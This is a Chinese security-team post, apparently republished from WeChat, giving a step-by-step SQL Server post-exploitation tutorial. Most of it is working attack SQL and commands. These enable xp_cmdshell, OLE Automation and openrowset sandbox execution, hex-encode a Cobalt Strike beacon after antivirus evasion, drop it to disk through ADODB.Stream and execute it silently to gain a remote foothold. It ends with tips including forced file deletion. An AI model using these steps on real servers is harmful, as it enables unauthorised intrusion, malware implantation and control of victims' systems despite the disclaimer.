朋友们现在只对常读和星标的公众号才展示大图推送,建议大家把SecretTeam安全团队“设为星标”,否则可能就看不到了啦!
免责声明
在Markdown中,文本框通常可以通过使用代码块来实现。你可以使用三个反引号(```)来创建一个代码块。以下是一个示例:
"本文档所提供的信息旨在帮助网络安全专业人员更好地理解并维护他们负责的网站和服务器等系统。我们鼓励在获得适当授权的情况下使用这些信息。请注意,任何未经授权的使用或由此产生的直接或间接后果和损失,均由使用者自行承担。我们提供的资源和工具仅供学习和研究之用,我们不鼓励也不支持任何非法活动。"
"我们创建这个社区是为了促进技术交流和知识分享。我们希望每位成员都能在遵守法律法规的前提下参与讨论和学习。如果使用本文档中的信息导致任何直接或间接的后果和损失,我们提醒您,这将由您个人承担。我们不承担由此产生的任何责任。如果有任何内容侵犯了您的权益,请随时告知我们,我们将立即采取行动并表示诚挚的歉意。我们感谢您的理解和支持。"
第一步 启用多种命令执行方式
为了确保相关命令的正常执行,请先开启高级选项:
sp_configure 'show advanced options', 1;
GO
RECONFIGURE;
1. 开启xp_cmdshell
EXEC sp_configure 'show advanced options', 1
RECONFIGURE;
EXEC sp_configure 'xp_cmdshell', 1; //1为开,0为关
RECONFIGURE;
执行系统命令模板
EXEC master.dbo.xp_cmdshell 'cd C:\ && dir';
被删除如何恢复
exec master.sys.sp_addextendedproc 'xp_cmdshell', 'C:Program FilesMicrosoft SQLServerMSSQLBinnxplog70.dll'
2. 开启sp_oacreate
在执行命令或写入文件时都需要用到 sp_oacreate,这主要是用来创建OLE对象,所以需要先执行以下SQL语句来启用 “OLE Automation Procedures” 组件。
如果 xp_cmdshell 组件被删除,也可以利用OLE对象的run方法执行系统命令:主要是用来调用 OLE 对象,利用 OLE 对象的 run 方法执行系统命令
exec master.dbo.sp_configure 'show advanced options', 1
RECONFIGURE exec
master.dbo.sp_configure 'Ole Automation Procedures', 1 //1为开,0为关
RECONFIGURE
执行系统命令模板
declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod
@shell,'run',null,'whoami >C:UsersPublicDocuments1.txt';
注意:此命令执行方法无回显,可以将回显内容写入TXT文件后再查看
3. SQL Server 沙盒提权
通过开启沙盒模块来执行命令 开启:
exec sp_configure 'show advanced options',1;reconfigure;
exec sp_configure 'Ad Hoc Distributed Queries',1;reconfigure;
关闭:
exec sp_configure 'show advanced option',1;RECONFIGURE;
exec sp configure 'Ad Hoc Distributed Queries',0;RECONFIGURE;
执行系统命令模板
select * from openrowset('microsoft.jet.oledb.4.0',';database=c:windowssystem32iasdnary.mdb','select shell("whoami")')
select * from openrowset('microsoft.jet.oledb.4.0',';database=iasias.mdb','select shell("CMD命令")')
注意:当 C:WindowsSystem32iasdnary.mdb 或 C:WindowsSystem32iasias.mdb 被删除时,命令就会无效了
第二步 判断系统类型和软件
判断系统类型我就不用说了吧。。命令执行看一下就知道了
重点是判断系统环境(32位还是64位,账户有无权限,有无杀软)
EXEC master.dbo.xp_cmdshell 'tasklist';
Ctrl+A全选后,Ctrl+C复制一下
这里推荐一个纷传中的自研工具:
将内容复制后点击查询,发现有杀软(需要查清楚后做对应的免杀处理)
第三步 处理文件
这里需要将要执行的 CobaltStrike Payload 转换为Hex
注意:如果在第二步发现有杀软,需要查清楚后做对应的免杀处理
免杀过程省略。。。
接下来就是用Python将免杀后的exe进行转换
#文件名:zhuan.py
import binascii
filename = 'beacon.exe'
with open(filename, 'rb') as f:
content = f.read()
print(binascii.hexlify(content))
使用命令行执行导出
#文件名:start.bat
python zhuan.py > hex.txt
注意:导出后,记得删掉掉最前面的 b' 和最后面的 ' 这两个部分
第四步 实现不出网文件落地
虽然我在演示的时候,是通过公网的一个站点进行演示的
但如果在内网中,有无法外连的服务器被拿下,要如何不出网文件落地,让我们一起看看
DECLARE @DATA VARBINARY(MAX) = 0x #加上第三步中转换好的Hex内容
DECLARE @filepath VARCHAR(MAX) = 'C:\Users\Public\Documents\system_un.exe'
DECLARE @ObjectToken INT
EXEC sp_OACreate 'ADODB.Stream', @ObjectToken OUTPUT
EXEC sp_OASetProperty @ObjectToken, 'Type', 1
EXEC sp_OAMethod @ObjectToken, 'Open'
EXEC sp_OAMethod @ObjectToken, 'Write', NULL, @DATA
EXEC sp_OAMethod @ObjectToken, 'SaveToFile', NULL, @filepath, 2
EXEC sp_OAMethod @ObjectToken, 'Close'
EXEC sp_OADestroy @ObjectToken
SELECT @filepath
如果这里有出现一个错误:SQL Server 阻止了对组件 'Ole Automation Procedures' 的过程 'sys.sp_OACreate' 的访问,因为此组件已作为此服务器安全配置的一部分而被关闭。
exec sp_configure 'show advanced options',1
reconfigure
EXEC sp_configure 'Ole Automation Procedures',1 //启用OLE自动化功能
接下来就可以正常的写入文件了~
执行落地的EXE文件(/c是无弹窗静默运行)
Exec master..xp_cmdshell "cmd /c C:\Users\Public\Documents\system_un.exe"
接下来就上线成功
小技巧
附上一些实用的命令行,相信你会用到
查看服务器开放的端口
netstat -a -n
查看系统信息(32位还是64位)
systeminfo
系统如果是64位的,会在“系统类型”选项后明确标示出“x64-based PC”,否则目标系统就是32位的
强制删除文件(支持通配符)
可以运行 del /? 来查看命令说明
del /F /S /Q C:inetpubwwwroottest.php
原文始发于微信公众号(SecretTeam安全团队):渗透技巧-SQLServer不出网文件落地上线姿势
原文始发于微信公众号(SecretTeam安全团队):渗透技巧-SQLServer不出网文件落地上线姿势
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论